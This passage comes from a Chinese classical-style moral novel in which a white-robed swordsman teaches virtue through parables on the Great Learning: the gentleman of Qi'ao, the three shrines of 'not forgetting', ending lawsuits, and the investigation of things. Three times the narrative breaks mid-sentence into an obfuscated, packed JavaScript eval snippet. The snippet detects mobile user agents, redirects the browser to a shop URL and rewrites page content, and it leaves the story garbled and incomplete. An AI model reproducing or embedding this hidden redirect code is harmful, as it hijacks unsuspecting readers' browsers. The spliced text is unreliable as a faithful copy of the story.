四匠相视。白衣人道：“德盛在行，非在言。请四子开‘斐玉塾’，传艺授德，使君子之风，永传淇澳。” 四匠应诺。遂于竹林建塾，陆琨授“切磋道”，郑硕授“琢磨功”，焦桐授“瑟僩礼”，薛芒授“赫喧德”。四方学子来从，淇澳之间，琅琅书声与竹韵相和。 六、 不可諠 十年后，斐玉邑成礼乐之乡。四匠老矣，子弟继业。有客过淇澳，见竹益猗猗，问童子：“昔有斐君子，今有乎？” 童子指竹林：“此间皆是。” “何在？” “切磋琢磨者是，瑟僩赫喧者是。” 客不解。适白衣人策马再过，下马与语，童子雀跃：“斐君子来矣！” 白衣人笑抚童首，取木剑划地，现八字： “切磋在学，琢磨在修。 瑟僩在敬，赫喧在德。 斐然成章， 玉汝于成。” 客问：“君子之道，可得闻乎？” 白衣人指竹：“竹之德，即君子之德 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088218|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。切磋如竹之群生，互砺成才；琢磨如竹之节节，精益求精；瑟僩如竹之虚心，谨慎敬畏；赫喧如竹之挺拔，德威自显。四德兼备，斐然成章，故民不能忘。” 又指四匠塾：“彼四子，昔为匠，今为师。传艺授德，是谓‘有斐君子，终不可諠兮’。” 客拜服。是夜，白衣人于竹林置酒，四匠及弟子共聚。酒酣，白衣人击剑而歌： “瞻彼淇澳兮，菉竹猗猗。 有斐君子兮，如切如磋。 切磋道学兮，共进毋私。 如琢如磨兮，自修弗辍。 瑟兮僩兮兮，恂栗敬畏。 赫兮喧兮兮，德威仪辉。 有斐君子兮，终不可諠。 道盛德至兮，民不能忘！” 歌声清越，竹林飒飒，如千百君子和鸣。 尾声斐玉谣 后百年，斐玉邑人才辈出。有游学士子辑《斐玉录》，记四匠事。录成之日，忽有老叟携古琴、古剑、古璧、古碑拓本来访，自言焦氏后人，曰： “先祖遗训：切磋琢磨，非仅治器，终身治德。瑟僩赫喧，非仅仪态，终身修敬。今献遗物，以警后世。” 士子观古琴，铭“瑟僩”；古剑，铭“赫喧”；古璧，铭“切磋”；古碑拓本，题“琢磨”。四物黯然，然德辉犹存。 士子问：“斐玉君子，今在何处？” 老叟指淇澳竹：“竹在，君子在。” 又指心：“心在，君子在。” 是夜，士子梦白衣人抚竹吟诗，醒而题壁： “淇澳竹猗猗， 斐玉君子遗。 切磋与琢磨， 瑟僩兼赫喧。 四德本一心， 一心在自修。 至今竹林风， 犹诵不可諠。” 自此，斐玉童子皆唱《斐玉谣》： “瞻彼淇澳绿竹猗， 有斐君子切复磋。 切磋道学共进步， 琢磨自修莫蹉跎。 瑟兮僩兮要敬畏， 赫兮喧兮德巍峨。 斐然成章君子德， 民不能忘万古歌。” 竹声、谣声、读书声，声声相应。 似在说： 切磋啊，琢磨啊。 瑟僩啊，赫喧啊。 本章诫世 一、 切磋琢磨 - 如切如磋者，道学也；如琢如磨者，自修也 - 破解法：学问需切磋（共进），德性需琢磨（自修） - 示例：陆琨藏私，是不知切磋；郑硕躁弃，是不知琢磨 二、 瑟僩赫喧 - 瑟兮僩兮者，恂栗也；赫兮喧兮者，威仪也 - 惕世：多少人恃才傲物，失瑟僩之敬？多少人仗势凌人，失赫喧之德？ - 反思：我可有恂栗之敬？可有德盛之威？ 三、 斐玉君子 - 有斐君子，终不可諠兮——道盛德至善，民之不能忘也 - 深层隐喻：君子之德，如竹如玉，切磋琢磨而成，瑟僩赫喧而显 - 终极指向：君子修身，如切如磋，如琢如磨，终成斐然之章，令人不忘 斐玉偈： 斐玉邑中四匠家，切磋琢磨匾高悬。 陆琨藏私忘道学，郑硕躁弃疏自修。 焦桐傲慢失恂栗，薛芒强横缺德威。 白衣指点淇澳竹，四子悟德焕新篇。 切磋共进玉璧合，琢磨恒毅石碑镌。 瑟僩敬畏琴音正，赫喧德盛剑光端。 斐然君子民不忘，至今竹颂猗猗传。 后世叹： 淇澳绿竹猗猗青，斐玉君子德如林。 四匠初时迷本真，切磋琢磨竟虚名。 白衣引经还指竹，切磋道学琢磨心。 瑟僩在敬赫在德，斐然成章万古吟。 正是： 瞻彼淇澳绿竹猗，有斐君子德堪追。 如切如磋在道学，如琢如磨在自修。 瑟兮僩兮恂栗敬，赫兮喧兮威仪辉。 四德兼备成斐玉，民不能忘万古垂。 67. 不忘谳 楔子·三祠讼 沅水之阴有古城曰“不忘邑”，相传为前朝贤王巡幸处。王尝叹“於戏前王不忘”，遂命立“三不忘祠”：一曰“贤贤祠”，祀历代贤臣；二曰“亲亲祠”，祀孝子节妇；三曰“乐乐祠”，祀义士善人。三祠并立，香火鼎盛。 然时移世易，三祠渐荒：贤贤祠中，子孙争产，贤名蒙尘；亲亲祠中，兄弟阋墙，亲情冷淡；乐乐祠中，乡邻斗讼，乐事无存。邑人叹：“三不忘祠，三事皆忘。” 是岁清明，三祠忽发异象：贤贤祠供桌自裂，亲亲祠香炉自倾，乐乐祠匾额自斜。耆老惶惧，聚议重修，然三家后裔互诿，推诿不决。 忽有白衣人乘白马至，斗笠面纱，木剑悬腰，观三祠残破，朗声诵诗： “‘於戏前王不忘！’” 又诵： “君子贤其贤，而亲其亲。小人乐其乐，而利其利。此以没世不忘也。” 诵罢，问众耆老：“前王立三祠，欲使民不忘贤、不忘亲、不忘乐。今三祠荒败，是人忘前王，亦忘本也。” 耆老中有祠正冯贤、族老顾亲、乡绅李乐，皆赧然揖问：“请先生指点。” 白衣人道：“某有一法，可使三祠复兴。请三位各主一祠，随我行一日，见三桩‘不忘’公案。” 一、 贤贤谳 冯贤，贤贤祠祠正，乃前朝贤臣冯道之后。然冯贤不贤，常借祖荫欺压乡里。是日，有寒儒周正，赁冯家旧宅设塾，冯贤嫌其贫，欲逐之。 白衣人引冯贤至贤贤祠，指“贤贤”匾问：“此祠何义？” 冯贤答：“祀贤，使民不忘贤。” “尔祖冯道，以贤名入祀。今尔为贤后，贤否？” 冯贤语塞。白衣人指祠中牌位：“君子贤其贤，谓后人当效法前贤之贤。今尔不效祖贤，反辱祖名，是不贤其贤，是忘本。” 时值清明，有童子入祠拜祭，问冯贤：“先生，何谓贤？” 冯贤不能答。白衣人抚童首：“贤者，德才兼备，泽被后世。如尔祖冯道，乱世守节，护佑百姓，故人祀之。今为贤后，当继祖德，非恃祖名。” 冯贤惭，遂允周正续赁，更捐资助塾。周正开“贤德课”，讲历代贤臣事。冯贤每听一课，惭一分，后竟亲洒扫祠宇，重订祀典。 白衣人谓冯贤：“贤其贤，非但敬古贤，是学贤行贤。尔今助学，是行贤之始。然贤无止境，当终身效之。” 冯贤拜服，于祠中立“效贤碑”，刻“贤其贤者，当效贤行”。自是，贤贤祠复有香火，且多贤行。 二、 亲亲谳 顾亲，亲亲祠族老，乃孝子顾全之后。然顾亲疏亲，兄弟三人争田产，经年不睦。是日，三房聚祠争祭田，竟于祠前殴斗。 白衣人引顾亲至亲亲祠，指“亲亲”匾问：“此祠何义？” 顾亲答：“祀亲，使民不忘亲。” “尔祖顾全，以孝名入祀。今尔为孝后，孝否？” 顾亲赧然。白衣人指祠中孝行图：“君子亲其亲，谓敬爱亲人。今尔兄弟相争，骨肉相残，是不亲其亲，是忘本。” 忽有老妪携稚孙入祠，泣拜孝子牌位：“先祖孝母，今子孙不孝，老身何依？” 顾亲大惭。白衣人道：“亲其亲，非但祀先亲，是爱在世之亲。尔兄弟一母同胞，今为田产相争，可对得起祠中孝子？” 三兄弟皆跪。白衣人取木剑，就祠前地划三线，曰：“此三线为田界，尔等各取一线。” 三兄弟不解。白衣人道：“兄弟如手足，田产如衣物。手足不可断，衣物可再得。今尔等断手足争衣物，愚乎？” 兄弟悟，相拥而泣，遂让田合产，共奉老母。顾亲乃开“亲亲会”，每岁清明，聚族人和睦祠中。 白衣人谓顾亲：“亲其亲，非但血亲，是推己及人。尔今和兄弟，是亲亲之始。然亲无止境，当推及族人、乡人。” 顾亲遂于祠中立“睦亲碑”，刻“亲其亲者，当睦亲族”。自是，亲亲祠复现和乐，且多孝行。 三、 乐乐谳 李乐，乐乐祠乡绅，乃义士李广之后。然李乐不乐，性吝刻薄，乡邻有难不助。是岁春旱，有佃户欠租，李乐夺其耕牛，佃户泣诉于祠前。 白衣人引李乐至乐乐祠，指“乐乐”匾问：“此祠何义？” 李乐答：“祀乐，使民不忘乐。” “尔祖李广，以义乐施入祀。今尔为义后，义否？” 李乐强辩：“租不可欠！” 白衣人指祠中“义行录”：“小人乐其乐，而利其利。谓百姓乐于君子所乐，利君子所利。今尔夺牛绝人生计，狩乐乎？利乎？” 时值祠会，乡民聚观。白衣人问众：“乐乐祠，乐何事？” 众答：“乐善好施，乐义助人。” 白衣人指李乐：“今李公夺牛，是乐善乎？” 众哗然。李乐汗下，白衣人续道：“前王立祠，欲使君子与民同乐。今尔独乐，民不乐，是不乐其乐，是忘本。” 佃户叩头：“牛乃一家生计，求公怜悯！” 李乐愧，还牛免租，更开仓济旱。乡民感戴，乐乐祠香火复盛。 白衣人谓李乐：“乐其乐，非但自乐，是与民同乐。尔今济民，是同乐之始。然乐无止境，当推及乡里。” 李乐遂于祠中立“同乐碑”，刻“乐其乐者，当与民同”。自是，乐乐祠常有义举，且多乐事。 四、 三祠会 三祠复兴，白衣人集众于“不忘台”，此台乃前王所筑，铭“於戏前王不忘”。 白衣人登台，指三祠道：“前王立三祠，非徒祀先人，是教后人：君子贤其贤，而亲其亲；小人乐其乐，而利其利。如此，则前王之道，没世不忘。今三祠复振，可明此理否？” 冯贤曰：“贤其贤，在效贤行。吾祖贤，吾当学贤。” 顾亲曰：“亲其亲，在睦亲族。吾祖孝，吾当尽孝。” 李乐曰：“乐其乐，在与民同。吾祖义，吾当行义。” 白衣人颔首：“善。然三事本一：贤者必亲亲，亲亲者必乐民。譬如三祠，虽分实合。” 遂率众重缮三祠，更于祠间辟“不忘园”，植三木：一曰“贤榆”，二曰“亲桑”，三曰“乐槐”。贤榆叶可入药，惠人疾；亲桑叶可饲蚕，利人衣；乐槐荫可憩息，悦人心。 白衣人曰：“三木成林，喻三德合一。贤其贤，德之基；亲其亲，德之推；乐其乐，德之施。三德备，前王之道不忘矣。” 是夜，白衣人于园中置酒，三老及乡民共聚。酒酣，白衣人击剑而歌： “於戏前王不忘兮， 立祠三座教烝民。 贤其贤兮效贤行， 亲其亲兮睦亲族。 乐其乐兮同民乐， 三德兼备道乃存。 没世不忘在力行， 千秋万代仰清芬！” 歌声慷慨，三木飒飒，如前王叹息，又如万民和鸣。 五、 不忘谣 十年后，不忘邑成仁义之乡。贤贤祠出贤士，亲亲祠出孝子，乐乐祠出义人。有游学士子过邑，问童子：“前王不忘，不忘何事？” 童子指三祠：“不忘贤，不忘亲，不忘乐。” “如何不忘？” “贤其贤，亲其亲，乐其乐。” 士子不解，适白衣人策马再过，下马与语。童子雀跃：“不忘先生来矣！” 白衣人笑，取木剑于不忘台刻铭： “贤其贤者，当效其贤。 亲其亲者，当睦其亲。 乐其乐者，当同其乐。 三者力行， 前王不忘。” 士子问：“贤、亲、乐，敦重？” 白衣人曰：“贤为本。不贤，则亲不睦、乐不公。然贤非虚名，在亲亲、在乐民。昔前王贤，故亲亲而乐民。今人但祀前王，不效其行，是忘也。” 又指三木：“贤榆惠人，是贤其贤；亲桑利人，是亲其亲；乐槐悦人，是乐其乐。三木同根，三德同源。” 士子拜服。是夜，白衣人于三祠前说古，乡民围听。说至前王巡幸，见老者拾穗，王问：“老丈何拾穗？” 老者答：“遗穗可惜，拾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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君子贤其贤——当效法前贤之贤行 - 破解法：见贤思齐，见不贤内自省 - 示例：冯贤初恃祖名，后效祖德，是贤其贤 二、 亲其亲 - 君子亲其亲——当敬爱亲人，和睦家族 - 惕世：多少人对外人恭，对亲人苛？多少人争产夺利，骨肉相残？ - 反思：我于亲人，可尽亲爱？可曾因利伤情？ 三、 乐其乐 - 小人乐其乐，而利其利——君子与民同乐，民自乐君子之乐 - 深层隐喻：独乐乐不如众乐乐。君子之乐，在使民乐 - 终极指向：前王不忘，在民不忘。君子贤其贤、亲其亲、乐其乐，则民德归厚，没世不忘 不忘偈： 不忘邑中三祠荒，贤亲乐事俱凋伤。 冯贤恃祖辱贤名，顾亲争产戕亲肠。 李乐吝刻失乐义，三祠蒙尘祀不彰。 白衣指说前王训，三子幡然改前行。 贤其贤兮效贤德，亲其亲兮睦族邦。 乐其乐兮同民乐，三德复振邑重光。 至今不忘园中木，岁岁花开散德芳。 后世叹： 前王立祠教不忘，贤亲乐事是三纲。 后人但祀不效行，三祠蒙尘匾额荒。 白衣引经还指迷，贤贤亲亲乐乐彰。 寄语世间忘本客，三德力行是彝常。 正是： 於戏前王不能忘，立祠三座教伦常。 君子贤其贤而贤，君子亲其亲而亲。 小人乐其乐而利，此以没世不忘君。 不忘邑里三祠讼，白衣指点三德张。 贤贤亲亲乐乐备，前王之道万古扬。 68. 无讼谳 楔子·讼藤案 沔水之阳有山城名“知本邑”，邑有古榕，藤蔓纠结，状如讼状。邑人谓“讼藤”，相传有讼事则藤生，讼息则藤枯。百年间，此藤生灭数十次，邑人视为吉凶之兆。 是年，讼藤忽发，蜿蜒十丈，覆满县衙照壁。邑中讼事蜂起：东街王、李二户争一堵墙，西市赵、钱二商争一只秤，南村孙、周二农争一垄田，北巷冯、陈二匠争一爿铺。县令吴讼累日升堂，案牍如山，竟至病倒。 师爷献计：“可聘‘神断先生’听讼。” 忽有白衣人策马入城，斗笠面纱，木剑悬腰，驻马观讼藤，朗声诵道： “听讼，吾犹人也。必也，使无讼乎？” 诵罢，指藤叹：“藤生因讼起，欲藤枯，当使讼息。讼息之道，在知本也。” 恰县令舆过，闻之急停，揖问：“先生有何妙策？” 白衣人道：“某有一法，可使讼藤自枯。请邀四讼主事，随某行一日，观四桩‘无讼’公案。” 一、 墙讼谳（东街） 东街王厚、李实，比邻而居。王家筑墙，侵李家三寸。李实理论，王厚叱：“吾墙在吾地，干卿何事？”遂讼于官。县令量地，果侵三寸，判王厚拆墙。王厚不服，扬言“宁死不让”。 白衣人引二人至讼藤下，问：“此藤何来？” 王厚愤：“因讼而生！” “讼因何起？” “因墙！” 白衣人指藤根：“藤根在土，讼根在心。尔等争三寸墙，是争地，是争气？” 王厚语塞。白衣人取木剑，就地上划一线：“此线为界，各退一寸半，余出一寸作公巷，可好？” 李实曰：“吾本不争，奈彼欺人！” 王厚嚷：“吾祖业岂可让！” 白衣人忽问：“尔等可知，此墙所用之砖，烧自何土？” 二人怔。白衣人指西山：“烧砖之土，取自西山。西山为公山，土属全邑。今尔等争三寸墙，是争全邑之土乎？” 又指讼藤：“此藤百年，缠死古树七株。每株皆因争地而枯。今尔等欲为第八株否？” 二人汗下。白衣人取砖一块，击碎，中现陶片，有字“嘉靖三年公墙”。二人惊。 白衣人道：“此墙本是公墙，后被私占。今尔等争私墙，是忘其本。不如复为公墙，利行人往来，岂不善哉？” 王、李惭，遂让墙为公巷，行人称便。是夜，讼藤东枝枯。 二、 秤讼谳（西市） 西市赵丰、钱满，皆开粮铺。赵丰疑钱满秤短，暗较之，果短一钱。讼于官，县令验秤，确短。然钱满反诉赵丰秤砣有假。两铺相争，客商裹足。 白衣人引二人至墟市，问：“秤以何为凭？” 赵丰曰：“以星为准。” 钱满曰：“以砣为衡。” 白衣人取市曹公秤，较二人之秤，皆不准。二人愕然。 白衣人道：“秤之准，在公心。尔等但较他人，不自较己，是心秤先偏。心偏则秤偏，秤偏则市乱。” 又指墟中饥民：“今岁欠收，民有菜色。尔等为粮商，不忧民饥，但争一钱之利，可愧乎？” 二人赧然。白衣人取二人秤，折为薪，以公秤赠之：“以此为准，价平斗满，可乎？” 赵丰曰：“然彼短秤诈人…” 钱满急辩：“吾非诈，是秤工做差…” 白衣人止之：“无情者，不得尽其辞。短秤是实，辩乃虚辞。今不究诈，但求改。尔等可愿立‘公秤盟’，共保市平？” 二人应诺。遂设“公秤亭”于市，凡交易，皆以公秤为准。粮价平，饥民得济。是夜，讼藤西枝枯。 三、 田讼谳（南村） 南村孙勤、周俭，田垄相连。孙家田高，周家田低。孙勤开沟排水，淹周家秧苗。周俭堵沟，孙家田涝。二人殴斗，讼至县衙。 白衣人引二人至田头，时值暴雨初歇，沟水横流。白衣人问：“水之性，就下乎？就高乎？” 孙勤曰：“就下。” “然则高田之水，当往何处？” “往低田。” “低田受水，当如何？” 周俭曰：“当疏不当堵。” 白衣人颔首：“水有水性，人有仁性。水就下，是顺势；仁推己，是恕道。今孙公开沟，是顺水性，然未顾邻田；周公堵沟，是卫己田，然逆水性。皆未推己及人。” 遂教以“均水法”：高田开浅沟缓排，低田掘小塘蓄水。更于两田间植芦苇，固土分水。二人从之，田皆得润。 白衣人谓二人：“农以和为贵。雨露同霑，水□□利。今尔等和，非独利己，亦利乡邻。若争讼不止，田荒人散，孰得孰失？” 二人拜服。是夜，讼藤南枝枯。 四、 铺讼谳（北巷） 北巷冯诚、陈信，同开铁匠铺，对门而市。冯家制镰利，陈家制锄牢。二人互妒，冯诚散谣“陈锄易折”，陈信传语“冯镰卷刃”。客疑，两铺生意皆落。 白衣人引二人至铺前，问：“匠以何为重？” 冯诚曰：“以技为重。” 陈信曰：“以质为重。” “技与质，孰本孰末？” 二人语塞。白衣人道：“匠之本，在信。信失，则技伪质劣。今尔等互毁，是自毁信。信毁，客不至，铺将倾。” 取冯家镰、陈家锄，叠而击之，镰锄皆无损。二人惊。 白衣人道：“镰宜割，锄宜掘，各有所长。尔等不合则两伤，合则两利。何不合铺共营，冯专镰，陈专锄，统一定价，货真价实？” 二人疑：“然利如何分？” “利以信分。”白衣人书契，“以年利为准，镰六锄四，因镰耗铁多。然遇荒年，利均分。可乎？” 二人从之，合铺名“信诚坊”，镰锄并售，生意兴隆。白衣人曰：“无情者，不得尽其辞。尔等互毁时，言皆虚辞。今以实合，虚辞自息。” 是夜，讼藤北枝枯。 五、 知本会 四讼俱解，讼藤唯余主干未枯。县令吴讼病愈，邀白衣人及四家主事，会于县衙。 白衣人指藤道：“藤有四枝，喻四讼。今四枝枯，主干犹存，是因邑中尚有讼根。讼根在人心不知本。” 吴讼问：“本在何处？” “在明德，在亲民，在至善。”白衣人朗声，“子曰：‘听讼，吾犹人也。必也，使无讼乎？’听讼之能，人皆可有；使无讼之德，在知本。无情者不得尽其辞，大畏民志——使民内心畏服，不敢虚辞，方是知本。” 遂率众至城隍庙，立“知本碑”，刻孔子此言，并附四讼事略。碑阴题： “墙讼之本，在睦邻； 秤讼之本，在公平； 田讼之本，在恕道； 铺讼之本，在信诚。 四本归一， 曰仁而已。 仁行，则无讼； 无讼，则藤枯。” 碑成，讼藤主干果枯，叶落藤萎，三日尽槁。邑人奇之，白衣人道：“非藤有灵，是人心转。人心和，讼事息；讼事息，阴气消，故藤枯。此自然之理也。” 吴讼拜问：“然则日后再生讼事，何以化之？” 白衣人道：“设‘劝和堂’，择邑中贤老主之。凡有争，先至劝和堂，以情解，以理化。理不通，再讼于官。如此，十讼可化其九。” 又教“三和法”：一对讼者共劳（如共修公墙），二对讼者共利（如合营商铺），三对讼者共济（如共赈灾民）。吴讼从之，知本邑渐成“无讼乡”。 六、 无讼谣 三年后，知本邑讼事绝迹。劝和堂悬“无讼匾”，堂前植和合树，树结连理枝。有外邑讼师来，叹：“此地无讼，吾何以谋食？” 邑童笑：“先生可改学劝和。” 讼师惭。适白衣人过，讼师揖问：“先生何以使民无讼？” 白衣人答：“非吾使，是民自化。民知本，则耻讼；民知耻，则兴让。让则和，和则无讼。” 又指和合树：“此树昔为讼藤所缠，几枯。今讼藤枯，树 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088220|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 复荣，且结连理。可知讼为戾气，和为生气。戾气消，生气长，自然之理也。” 讼师问：“若遇顽民必讼，何以处之？” “顽民之讼，多在争利。可示以‘共利法’：如争财，则劝共营；争产，则劝共管；争名，则劝共美。使其知合则两利，斗则两伤。大畏民志，非畏刑罚，是畏失和失利。” 讼师拜服，留邑学劝和，后成“和事先生”。 白衣人将行，邑民送于城郊。吴讼赠“无讼图”，绘四讼和解事。白衣人展图，题诗： “听讼犹人何足奇， 无讼方是圣人期。 墙睦秤平田恕道， 铺诚皆是本根基。 无情虚辞民志畏， 知本在仁不可移。 寄语他乡听讼者， 莫将刀笔记讼辞。” 题罢，策马而去。木剑遗于道旁，化棠棣一株，花如白雪，实如赤心。 尾声棠棣风 又十年，知本邑名播四方。邻邑有讼，常引“知本四案”为训。有县令仿设劝和堂，然效者寥寥。问其故，邑老答：“彼但设堂，不化心。心不知本，堂虚设耳。” 是岁，知本邑大疫，吴讼已老，率民共济。有患者疑医者用药不公，欲讼。吴讼引至劝和堂，示“无讼图”，道：“昔争墙、争秤、争田、争铺，皆化于和。今疫病当前，不思共济，反起内讼，是忘本也。” 患者惭。吴讼又曰：“无情者，不得尽其辞。尔疑医，可有实据？无实据而讼，是虚辞。虚辞伤和，和伤则疫难退。” 遂令医患同室，医示药方，患观其治。三日，患愈，拜谢医者。疫中，全邑无讼，协力抗灾，疫竟早退。 白衣人偶过，见棠棣花开如雪，树下童子嬉戏，歌《无讼谣》： “听讼犹人不足夸， 无讼才是君子家。 墙要睦，秤要平， 田要恕，铺要诚。 无情虚辞不可有， 知本在仁莫争差。 劝和堂前棠棣开， 无讼乡里乐无涯。” 白衣人莞尔，问童：“尔等可知，何以无讼？” 童答：“爷爷说，让人一步，天宽地阔；争人一寸，地窄天窄。” “让，本乎？” “本乎仁。仁者爱人，爱人者不争。” 白衣人拊掌。时值夕照，棠棣花影，映满劝和堂壁，如天然“无讼图”。 本章诫世 一、 无讼为要 - 听讼，吾犹人也。必也，使无讼乎？ - 破解法：遇争讼，先思何以化讼，非何以胜讼 - 示例：四讼皆以“和、平、恕、诚”化解，是知本 二、 无情虚辞 - 无情者，不得尽其辞——无实情者，不得逞其虚辩 - 惕世：多少人以虚辞争讼？多少讼事起于猜忌，而非实情？ - 反思：我可有“无情虚辞”？可曾以疑生讼？ 三、 大畏民志 - 大畏民志——使民心敬畏，不敢轻讼 - 深层隐喻：畏不在刑，在耻；耻不在败，在失和 - 终极指向：知本在仁。仁行则和，和则无讼，无讼则民安 无讼偈： 知本邑中讼藤生，四案纷纭县令惊。 白衣引说无讼道，墙睦秤平田恕诚。 无情虚辞民志畏，知本在仁化顽氓。 劝和堂前棠棣发，至今犹唱无讼声。 后世叹： 孔子听讼犹常人，必使无讼圣心彰。 知本邑里讼藤蔓，四案纠缠公堂忙。 白衣指破讼之本，在仁在让非在强。 寄语世间理讼者，莫将刀笔记雌黄。 正是： 听讼犹人何足奇，无讼方是圣贤期。 无情虚辞民志畏，知本在仁不可移。 墙睦秤平田恕道，铺诚四案是根基。 劝和堂前棠棣茂，无讼乡里颂雍熙。 69. 格竹谳 楔子·四子疑 湘中深谷有隐世之地，名曰“格物庄”。庄中多奇物：昼开夜合之花，夏生冬实之果，东暖西凉之泉，南鸣北默之石。庄主程理，乃前朝大儒之后，设“四疑轩”，聚子弟穷究物理。轩悬古训：“致知在格物”。 然庄中学风渐偏：有长子程玄，终日观花，谓“花中有道”，实则耽于花色；次子程默，终日听泉，谓“泉中有理”，实则溺于泉声；三子程辩，终日叩石，谓“石中有妙”，实则迷于石纹；四子程惑，终日尝果，谓“果中有真”，实则贪于果味。四人各执一物，争论不休，竟至动手。 是日，四子于轩中激辩。程玄执花掷地：“汝等聋瞽，不见花色有阴阳？”程默泼泉溅壁：“汝等愚钝，不闻泉声含宫商？”程辩敲石震案：“汝等肤浅，不识石纹藏经纬？”程惑掷果扬汁：“汝等庸俗，不知果味蕴五行？” 正喧嚷间，忽闻天外清吟： “人心之灵莫不有知， 天下之物莫不有理。 惟于理有未穷， 故其知有不尽。” 声如金玉。四子惊顾，但见一人踏竹梢而来——头戴素纱帷笠，垂纱及肩，面覆轻绢，只露双眸如寒潭映月；身著月白苎麻深衣，广袖迎风，腰束玄色丝绦，悬一柄无鞘木剑，剑身纹理天然，似未斫之材；足踏芒屦，不染尘泥。身形修颀，似青竹临风，风动时衣袂与竹叶同舞，竟分不清是人是竹，是男是女。 来人飘然落地，无声无息，帷笠轻纱微漾，木剑纹丝不动。 程理急出迎：“先生何人？” 来人声清越，亦不辨雌雄：“某游四方，闻庄中格物之风，特来观瞻。”指四子，“此四子格物乎？抑戏物乎？” 四子赧然。来人踱至“致知在格物”匾下，仰观片刻，忽道：“格物之要，在即物穷理。今四子各执一物，见色、听声、观纹、尝味，可谓即物，然穷理否？” 程玄不服：“吾观花三年，知花有开合，合为阴，开为阳，岂非穷理？” 来人轻笑，折轩前竹枝：“竹有节，竹心虚。节可比理之次第，虚可比心之澄明。尔等格物，可有次第？可存虚心？” 又指四子手中物：“花、泉、石、果，皆物也。物有表里精粗，理有浅深本末。今尔等但见表、得粗，便谓得理，是犹以蠡测海。” 程理拜问：“请先生教以真格物之法。” 来人曰：“某有四桩格物公案，可请四子分观。观毕，再论格物。” 一、 格花谳（程玄） 庄东有“朝颜花”，晨开午谢。程玄观之三年，但记“花色随光变，晨粉午紫”。 来人引程玄至花圃，时值拂晓，花苞未放。问：“花为何晨开？” 程玄答：“感日光而开。” “为何午谢？” “畏烈日而谢。” 来人摇首，取竹筒覆花苞，又以素纱罩数丛。日上三竿，筒中花苞竟开，纱下花朵不谢。程玄惊。 “花之开谢，非关日光，关乎温湿。”来人指竹筒，“筒中温高，故开；纱下湿润，故不谢。尔观三年，只记花色，不测温湿，是格其表未格其里。” 又取水浇花根，花忽午时复开。程玄大愕。 “物有本末，事有终始。花，末也；根，本也。尔格花不格根，是舍本逐末。”来人以竹枝画地，现“格物当穷其本”六字。 程玄汗下，问：“何以穷本？” “即物而穷其理。譬如格花，当知花之种、根、茎、叶、蕊、实，知土、水、光、温、时、气。知其然，更知其所以然。今尔但知其开谢，不知何以开谢，是知有不尽。” 程玄拜服，遂焚旧记，重立“格花簿”，自土性始录。三月后，悟得“朝颜花期可延”，庄人效之，花果倍增。 二、 格泉谳（程默） 庄西有“阴阳泉”，一温一凉。程默听泉三载，但记“泉声随季变，春柔冬涩”。 来人引程默至泉畔，两泉相距十步，一泉冒热气，一泉浮寒烟。问：“泉为何一温一凉？” 程默答：“地脉不同。” “地脉何以不同？” “此…未穷。” 来人取竹杯，分舀两泉水，置石上。又以竹管连通两泉，三日后再观，两泉温差减半。程默奇。 “泉之温凉，非关地脉，关乎水脉深浅。”来人指竹管，“深泉近地火，故温；浅泉近地表，故凉。今以管通，水脉交融，温凉遂和。尔听三载，只辨声涩，不究水脉，是格其声未格其源。” 又掘泉周泥土，见温泉下多赤石，凉泉下多青石。程默恍然。 “物有其理，理有其由。泉声，表也；水脉，里也。尔格泉不格脉，是得粗未得精。”来人以竹枝画地，现“格物当究其源”六字。 程默惭，遂弃旧说，重勘水脉，绘“泉脉图”。半年后，导温泉溉寒田，庄中竟可冬种春蔬。 三、 格石谳（程辩） 庄南有“经纬石”，石纹纵横如棋枰。程辩叩石三秋，但记“石纹随敲异，轻叩成纬，重叩成经”。 来人引程辩至石前，石大如屋，纹路俨然。问：“石纹何以纵横？” 程辩答：“天地造化。” “造化何以成此纹？” “此…未达。” 来人取竹槌，轻叩石之东，纹路南移；重叩石之西，纹路北动。又以温水泼石，纹竟模糊；再以凉水激之，纹复清晰。程辩惑。 “石之纹，非天生，乃水蚀风磨而成。”来人指石上水痕，“此石昔在河底，水波荡而成纬；后出地表，风吹而成经。尔叩三秋，只观纹变，不考成因，是格其形未格其成。” 又凿石取芯，见石层叠压，如千层饼。程辩顿悟。 “物有表里，理有精粗。石纹，表也；石层，里也。尔格石不格层，是见粗未见精。”来人以竹枝画地，现“格物当探其成”六字。 程辩服，遂碎旧石，遍察庄周山岩，作“石成因谱”。一年后，依石理开渠，水患大减。 四、 格果谳（程惑） 庄北有“四季树”，一树结四时之实。程惑尝果三夏，但记“果味随时异，春酸夏甘秋苦冬辛”。 来人引程惑至树下，果树参天，果杂四色。问：“果味何以四时不同？” 程惑答：“四时之气不同。” “气何以异？” “此…未知。” 来人取竹篮，分摘四时果，剖之。又以竹签标记各枝日照。旬日后，见向阳枝果甘，背阴枝果酸；迎风枝果辛，避风枝果苦。程惑疑。 